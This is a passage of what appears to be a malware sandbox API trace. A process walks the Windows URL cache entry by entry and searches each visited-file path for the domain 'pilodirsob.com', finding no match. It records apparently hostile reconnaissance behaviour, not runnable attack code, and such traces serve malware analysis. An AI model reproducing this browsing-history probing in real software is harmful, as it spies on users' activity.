lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.575] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/rw9RSXhngk69iq0H.pptx", lpSrch="pilodirsob.com") returned 0x0 [0401.575] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.575] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/q1P5U.bmp", lpSrch="pilodirsob.com") returned 0x0 [0401.575] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.575] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/kdQxTUFVVx.bmp", lpSrch="pilodirsob.com") returned 0x0 [0401.575] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.575] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/ob40zEva5DRKY8OHuTA.pdf", lpSrch="pilodirsob.com") returned 0x0 [0401.575] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.575] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/L9zPPc-Yrgy3.flv", lpSrch="pilodirsob.com") returned 0x0 [0401.575] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.575] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/nA%20h8.mkv", lpSrch="pilodirsob.com") returned 0x0 [0401.575] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.575] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/pqMkgf%20CmM/tba9%208-htsK355Ae3Q.jpg", lpSrch="pilodirsob.com") returned 0x0 [0401.575] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.575] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/bUz0kulIzd.jpg", lpSrch="pilodirsob.com") returned 0x0 [0401.575] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.575] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/O2uYzYjRV1_4DfQj.bmp", lpSrch="pilodirsob.com") returned 0x0 [0401.575] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.575] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/gBd6-4sgl8Sgy5S.gif", lpSrch="pilodirsob.com") returned 0x0 [0401.575] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.575] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/fdkus0pnkYX_9FlWPTF.jpg", lpSrch="pilodirsob.com") returned 0x0 [0401.575] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.576] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/hAaKCTy3e%20NLBRn/KpBWj9lp.flv", lpSrch="pilodirsob.com") returned 0x0 [0401.576] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.576] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/8ZpG.pdf", lpSrch="pilodirsob.com") returned 0x0 [0401.576] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.576] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/AAB8Ugjwnhd.jpg", lpSrch="pilodirsob.com") returned 0x0 [0401.576] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.576] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/7M%20gE_Md.xls", lpSrch="pilodirsob.com") returned 0x0 [0401.576] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.576] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/am7J3-.ods", lpSrch="pilodirsob.com") returned 0x0 [0401.576] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.576] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/8JEmUFi9Mlw.flv", lpSrch="pilodirsob.com") returned 0x0 [0401.576] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.576] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/KMr-C2smP.pptx", lpSrch="pilodirsob.com") returned 0x0 [0401.576] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.576] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/sk2OI4pk.gif", lpSrch="pilodirsob.com") returned 0x0 [0401.576] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.576] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/D1oAyK3G1TGu.gif", lpSrch="pilodirsob.com") returned 0x0 [0401.576] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.576] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/rbIgDrZXw.gif", lpSrch="pilodirsob.com") returned 0x0 [0401.576] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.576] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/pqMkgf%20CmM/sqp_XIDUP.png", lpSrch="pilodirsob.com") returned 0x0 [0401.577] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.577] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/l2%20tmDiWaU5LpGo9N.csv", lpSrch="pilodirsob.com") returned 0x0 [0401.577] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.577] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/pbyLR8KlH7TIC/ZqsuflN%20AEi3v1k.bmp", lpSrch="pilodirsob.com") returned 0x0 [0401.577] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.577] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/qKmq.docx", lpSrch="pilodirsob.com") returned 0x0 [0401.577] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.577] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/CHfCw6OmU8G8iT.jpg", lpSrch="pilodirsob.com") returned 0x0 [0401.577] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.577] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/RsHGGmP1G3j3saqYtZFf.pptx", lpSrch="pilodirsob.com") returned 0x0 [0401.577] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.577] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/x3ae0WPkLee.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0401.577] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.577] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/3K0zw%205w2qsAHkoes.pptx", lpSrch="pilodirsob.com") returned 0x0 [0401.577] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.577] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/cZvpt11ZCV-bnogz/7tVJ.bmp", lpSrch="pilodirsob.com") returned 0x0 [0401.577] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.577] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/cn_0BRgl4hM-kJ8wE.pps", lpSrch="pilodirsob.com") returned 0x0 [0401.577] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.577] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/NPKnafg%20svyW-4p.rtf", lpSrch="pilodirsob.com") returned 0x0 [0401.577] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.578] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/8UJYk.ods", lpSrch="pilodirsob.com") returned 0x0 [0401.578] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.578] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/Tlfrf.pdf", lpSrch="pilodirsob.com") returned 0x0 [0401.578] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.578] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/OkRs5XPatJ-lBBsZ.bmp", lpSrch="pilodirsob.com") returned 0x0 [0401.578] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.578] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/Fgu3.rtf", lpSrch="pilodirsob.com") returned 0x0 [0401.578] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.578] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/7I2Otue.odt", lpSrch="pilodirsob.com") returned 0x0 [0401.578] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.578] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/PZfAW1K-b_tgtbasrand.ots", lpSrch="pilodirsob.com") returned 0x0 [0401.578] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.578] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/c2VYex-ql_WZAAkmz8qA.odp", lpSrch="pilodirsob.com") returned 0x0 [0401.578] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.578] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/mlAx20rjOPn5Z.bmp", lpSrch="pilodirsob.com") returned 0x0 [0401.578] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.578] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/g4SN.xls", lpSrch="pilodirsob.com") returned 0x0 [0401.578] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.578] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/8nF8FXicLEc5Ij.xls", lpSrch="pilodirsob.com") returned 0x0 [0401.578] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.578] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/odN690Uv.png", lpSrch="pilodirsob.com") returned 0x0 [0401.578] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.579] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/3CvbZ27sNVNlEIcDr.png", lpSrch="pilodirsob.com") returned 0x0 [0401.579] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.579] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/4rGyMG.docx", lpSrch="pilodirsob.com") returned 0x0 [0401.579] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.579] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/OZyz34.gif", lpSrch="pilodirsob.com") returned 0x0 [0401.579] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.579] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/WBajqFyl.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0401.579] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.579] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/n8M3fjA-kFT1.ots", lpSrch="pilodirsob.com") returned 0x0 [0401.579] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.579] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/KFFJsVbjyjxysr-W.gif", lpSrch="pilodirsob.com") returned 0x0 [0401.579] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.579] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/krVny.jpg", lpSrch="pilodirsob.com") returned 0x0 [0401.579] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.579] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/wUbOzMUHShGB0.odp", lpSrch="pilodirsob.com") returned 0x0 [0401.579] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.579] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/qCMb0KA7MfMwnqR-.flv", lpSrch="pilodirsob.com") returned 0x0 [0401.579] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.579] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/E6EbhMwBQFcvigF.png", lpSrch="pilodirsob.com") returned 0x0 [0401.579] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.579] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/ptN2ZuQ8amSwzj3Hf.bmp", lpSrch="pilodirsob.com") returned 0x0 [0401.580] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.580] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/cZvpt11ZCV-bnogz/xaBuqdV.gif", lpSrch="pilodirsob.com") returned 0x0 [0401.580] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.580] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/oNeEpnzll.mkv", lpSrch="pilodirsob.com") returned 0x0 [0401.580] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.580] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/1n511.bmp", lpSrch="pilodirsob.com") returned 0x0 [0401.580] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.580] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/rPvFAdqEUop.ppt", lpSrch="pilodirsob.com") returned 0x0 [0401.580] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.580] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/ANIK59S7NBZeKp.pptx", lpSrch="pilodirsob.com") returned 0x0 [0401.580] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.580] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/cZvpt11ZCV-bnogz/BEwDL2lhD.jpg", lpSrch="pilodirsob.com") returned 0x0 [0401.580] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.580] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/yUidHJTCMwIHB.mkv", lpSrch="pilodirsob.com") returned 0x0 [0401.580] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.580] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XVVo133TnKkCQ.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0401.580] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.580] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/aKbv1Oo1ETirSfd1q%20gy.pdf", lpSrch="pilodirsob.com") returned 0x0 [0401.580] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.580] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/ZdbtJVvb-6FXnFWxnrvN.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0401.580] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.581] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/hKwg8OaHHgS.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0401.581] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.581] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/T5dulIYQq84F0WjyJUxJ.ppt", lpSrch="pilodirsob.com") returned 0x0 [0401.581] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 